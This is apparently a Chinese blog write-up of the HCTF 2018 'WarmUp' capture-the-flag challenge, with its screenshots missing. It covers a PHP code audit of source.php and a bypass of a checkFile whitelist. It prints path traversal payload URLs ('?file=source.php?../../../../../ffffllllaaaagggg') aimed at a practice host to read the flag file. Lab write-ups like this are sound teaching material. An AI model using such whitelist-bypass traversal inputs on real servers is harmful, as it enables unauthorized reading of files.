[HCTF 2018]WarmUp PHP 代码审计

查看网页源代码:

 

 

 访问source.php

 

 

 根据题目提示,代码审计,可知需要进行代码绕过checkFile检查

 

 

 

访问hint.php

 

 

 主要绕过:

 

 

 所以需要两个??中间的文件格式符合白名单

 

 

 则可构造payload:

http://4bcffbec-7e0e-499c-968a-c0256bad70b0.node4.buuoj.cn:81/?file=source.php?ffffllllaaaagggg     不成功则继续构造

http://4bcffbec-7e0e-499c-968a-c0256bad70b0.node4.buuoj.cn:81/?file=source.php?../../../../ffffllllaaaagggg    不成功继续构造

http://4bcffbec-7e0e-499c-968a-c0256bad70b0.node4.buuoj.cn:81/?file=source.php?../../../../../ffffllllaaaagggg    成功!

 

 

 

 得到flag!

 

posted @ 2022-07-08 14:02  mdgdscy  阅读(40)  评论(0)    收藏  举报